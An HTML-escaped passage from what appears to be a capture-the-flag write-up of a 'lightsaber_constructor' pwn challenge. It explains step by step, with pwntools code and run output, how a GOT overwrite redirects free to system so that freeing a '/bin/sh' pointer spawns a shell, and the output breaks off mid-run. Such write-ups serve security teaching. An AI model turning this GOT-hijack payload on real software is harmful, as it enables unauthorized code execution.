&lt;p&gt;Setting &lt;code&gt;crystal&lt;&#x2F;code&gt; to 2 writes &lt;code&gt;2&lt;&#x2F;code&gt; to offset &lt;code&gt;inventory+0x80&lt;&#x2F;code&gt;, which corresponds to &lt;code&gt;saber_count&lt;&#x2F;code&gt;. At the end of &lt;code&gt;construct()&lt;&#x2F;code&gt; it&#x27;s incremented to 3.&lt;&#x2F;p&gt;
&lt;p&gt;Now, the state of inventory is:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;inventory[0]    = 0x404000  (free@GOT)
&lt;&#x2F;span&gt;&lt;span&gt;inventory[1]    = 0x7f...   (&amp;amp;&amp;quot;&#x2F;bin&#x2F;sh&amp;quot; in libc)
&lt;&#x2F;span&gt;&lt;span&gt;inventory[2-15] = 0x00
&lt;&#x2F;span&gt;&lt;span&gt;saber_count     = 3
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The program now believes it has three sabers. &quot;Saber 0&quot; points to &lt;code&gt;free@GOT&lt;&#x2F;code&gt;, and &quot;saber 1&quot; points to the &lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt; string in libc. Both of these are in writable memory (&lt;code&gt;.bss&lt;&#x2F;code&gt;), so &lt;code&gt;modify()&lt;&#x2F;code&gt; and &lt;code&gt;destroy()&lt;&#x2F;code&gt; will operate on them.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;got-overwrite-redirecting-free-to-system&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#got-overwrite-redirecting-free-to-system&quot; aria-label=&quot;Anchor link for: got-overwrite-redirecting-free-to-system&quot;&gt;GOT Overwrite: Redirecting &lt;code&gt;free&lt;&#x2F;code&gt; to &lt;code&gt;system&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Remember, we work with a &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;flagwars-2026-lightsaber-constructor&#x2F;#reconnaissance&quot;&gt;partial RELRO binary&lt;&#x2F;a&gt;, meaning that the &lt;code&gt;.got.plt&lt;&#x2F;code&gt; section is mapped into a writable page.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-important&quot;&gt;
&lt;p&gt;In a dynamically linked program, the &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;x0nu11byt3&#x2F;bcb35c3de461e5fb66173071a2379779#sections&quot;&gt;Procedure Linkage Table (PLT)&lt;&#x2F;a&gt; stubs are responsible for resolving the function addresses and store them inside of the &lt;code&gt;.got.plt&lt;&#x2F;code&gt; section. These stubs either jump to the right address, if it has been resolved before, or trigger the code in the linker to look up the address.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Since the GOT is writable, overwriting its entries redirects all future calls to that corresponding function. That means, writing &lt;code&gt;system&lt;&#x2F;code&gt; over &lt;code&gt;free&lt;&#x2F;code&gt; causes every &lt;code&gt;free(ptr)&lt;&#x2F;code&gt; call to become &lt;code&gt;system(ptr)&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;We will exploit exactly this behavior in the following.&lt;&#x2F;p&gt;
&lt;p&gt;To do so, recall that &lt;code&gt;modify(0, content)&lt;&#x2F;code&gt; calls &lt;code&gt;read_line(inventory[0], 0x80)&lt;&#x2F;code&gt;, which is &lt;code&gt;read_line(free@GOT, 0x80)&lt;&#x2F;code&gt;. This writes up to 128 (= &lt;code&gt;0x80&lt;&#x2F;code&gt;) bytes from &lt;code&gt;content&lt;&#x2F;code&gt; starting at &lt;code&gt;free@GOT&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This allows us to overwrite the function pointer for &lt;code&gt;free&lt;&#x2F;code&gt; with the pointer to &lt;code&gt;system&lt;&#x2F;code&gt; via:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;got_payload  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.system)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# to stop read_line from reading our buffer
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;modify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, got_payload)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;However, this alone crashes our exploit with a segfault because we overwrite part of the next function&#x27;s address inside of the GOT with a null-byte. Next time this function will be called, we will try to access memory we aren&#x27;t allowed to read.&lt;&#x2F;p&gt;
&lt;p&gt;To fix that, we reconstruct our GOT in our payload. First, we need to get the order of the GOT, which we&#x27;ll recover using the following snippet:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;pwn &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff8942;&quot;&gt;*
&lt;&#x2F;span&gt;&lt;span&gt;e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ELF&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;.&#x2F;lightsaber_constructor&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;got_entries &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;sorted&lt;&#x2F;span&gt;&lt;span&gt;([(v, k) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;k, v &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;e.got.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;items&lt;&#x2F;span&gt;&lt;span&gt;()])
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;addr, name &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;got_entries:
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;print&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;  &lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;hex&lt;&#x2F;span&gt;&lt;span&gt;(addr)}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;: &lt;&#x2F;span&gt;&lt;span&gt;{name}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which yields:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; python3 libc_order.py
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x403fd8:&lt;&#x2F;span&gt;&lt;span&gt; __libc_start_main
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x403fe0:&lt;&#x2F;span&gt;&lt;span&gt; __gmon_start__
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404000:&lt;&#x2F;span&gt;&lt;span&gt; free
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404008:&lt;&#x2F;span&gt;&lt;span&gt; puts
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404010:&lt;&#x2F;span&gt;&lt;span&gt; __stack_chk_fail
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404018:&lt;&#x2F;span&gt;&lt;span&gt; printf
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404020:&lt;&#x2F;span&gt;&lt;span&gt; memset
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404028:&lt;&#x2F;span&gt;&lt;span&gt; read
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404030:&lt;&#x2F;span&gt;&lt;span&gt; malloc
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404038:&lt;&#x2F;span&gt;&lt;span&gt; setvbuf
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404040:&lt;&#x2F;span&gt;&lt;span&gt; strtoul
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404048:&lt;&#x2F;span&gt;&lt;span&gt; exit
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404060:&lt;&#x2F;span&gt;&lt;span&gt; stdout
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404070:&lt;&#x2F;span&gt;&lt;span&gt; stdin
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;0x404080:&lt;&#x2F;span&gt;&lt;span&gt; stderr
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This makes it clear that if we only overwrite &lt;code&gt;system&lt;&#x2F;code&gt; the null terminator would land on &lt;code&gt;puts@GOT&lt;&#x2F;code&gt;, crashing on the next &lt;code&gt;puts()&lt;&#x2F;code&gt; which comes at the end of &lt;code&gt;modify()&lt;&#x2F;code&gt; via &lt;code&gt;puts(&quot;[+] Modified.&quot;)&lt;&#x2F;code&gt; (cf. &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;flagwars-2026-lightsaber-constructor&#x2F;#modify&quot;&gt;Appendix&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;p&gt;This also tells us that the order of our functions should be:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span&gt;got_payload  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.system) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# free (replaced w&#x2F; system)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.puts)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.__stack_chk_fail)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.printf)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.memset)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.read)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.malloc)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.setvbuf)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.strtoul)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;p64&lt;&#x2F;span&gt;&lt;span&gt;(libc.sym.exit)
&lt;&#x2F;span&gt;&lt;span&gt;got_payload &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+= &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;modify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;, got_payload)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;ul&gt;
&lt;li&gt;We don&#x27;t preserve &lt;code&gt;std{in,out,err}&lt;&#x2F;code&gt; because these are not function pointers.&lt;&#x2F;li&gt;
&lt;li&gt;We can null-terminate after &lt;code&gt;exit&lt;&#x2F;code&gt; because stdout starts at &lt;code&gt;0x404060&lt;&#x2F;code&gt;, giving us (&lt;code&gt;0x404060 - (0x404048 + 0x8) = 0x10&lt;&#x2F;code&gt; bytes of padding)&lt;&#x2F;li&gt;
&lt;li&gt;Here, we could actually stop restoring the GOT after &lt;code&gt;puts&lt;&#x2F;code&gt;, as no other function is called until the exploit completes. However, it&#x27;s better to be thorough&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This writes 80 bytes (10 entries) into the address of &lt;code&gt;inventory[0]&lt;&#x2F;code&gt;, i.e. &lt;code&gt;free@GOT&lt;&#x2F;code&gt;.
That means the GOT now looks like:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;0x404000  free            -&amp;gt;  system          (overwritten!)
&lt;&#x2F;span&gt;&lt;span&gt;0x404008  puts            -&amp;gt;  puts            (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404010  __stack_chk_fail -&amp;gt; __stack_chk_fail (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404018  printf          -&amp;gt;  printf          (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404020  memset          -&amp;gt;  memset          (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404028  read            -&amp;gt;  read            (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404030  malloc          -&amp;gt;  malloc          (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404038  setvbuf         -&amp;gt;  setvbuf         (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404040  strtoul         -&amp;gt;  strtoul         (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404048  exit            -&amp;gt;  exit            (restored)
&lt;&#x2F;span&gt;&lt;span&gt;0x404050  (gap)           -&amp;gt;  \x00            (null terminator)
&lt;&#x2F;span&gt;&lt;span&gt;0x404060  stdout          -&amp;gt;  (untouched)
&lt;&#x2F;span&gt;&lt;span&gt;0x404070  stdin           -&amp;gt;  (untouched)
&lt;&#x2F;span&gt;&lt;span&gt;0x404080  stderr          -&amp;gt;  (untouched)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;trigger-our-payload&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#trigger-our-payload&quot; aria-label=&quot;Anchor link for: trigger-our-payload&quot;&gt;Trigger our payload&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Everything should be prepared now and we have to trigger our payload. We do this by calling:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This calls &lt;code&gt;free(inventory[1])&lt;&#x2F;code&gt; and because &lt;code&gt;inventory[1]&lt;&#x2F;code&gt; points to libc&#x27;s &lt;code&gt;&quot;&#x2F;bin&#x2F;sh&quot;&lt;&#x2F;code&gt; string, it tries to call &lt;code&gt;free(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Furthermore, because &lt;code&gt;free@GOT&lt;&#x2F;code&gt; now contains &lt;code&gt;system&lt;&#x2F;code&gt; we have the following flow:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(inventory[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;])
&lt;&#x2F;span&gt;&lt;span&gt;  -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;cb42f) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; address of &amp;quot;&#x2F;bin&#x2F;sh&amp;quot; in libc
&lt;&#x2F;span&gt;&lt;span&gt;  -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7f&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt;cb42f) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; GOT redirect
&lt;&#x2F;span&gt;&lt;span&gt;  -&amp;gt; &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;system&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;  -&amp;gt; win
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;exploit-output&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#exploit-output&quot; aria-label=&quot;Anchor link for: exploit-output&quot;&gt;Exploit output&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Running our complete exploit yields a shell:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt; &lt;&#x2F;span&gt;&lt;span&gt;python3 exploit.py
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;] Allocating &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;9 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;sabers &lt;&#x2F;span&gt;&lt;span&gt;(indices &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;] Free saber &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; → &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;tcache &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt;count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;), then inspect &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;for &lt;&#x2F;span&gt;&lt;span&gt;heap leak
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] heap &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;key &lt;&#x2F;span&gt;&lt;span&gt;(chunk&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;12&lt;&#x2F;span&gt;&lt;span&gt;): &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x31bb1
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;] Unsorted &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;bin &lt;&#x2F;span&gt;&lt;span&gt;fd leak: &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7bc8eee03b20
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] libc base : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7bc8eec00000
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] system    : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7bc8eec58750
&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span&gt;] &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;bin&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;sh   : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x7bc8eedcb42f
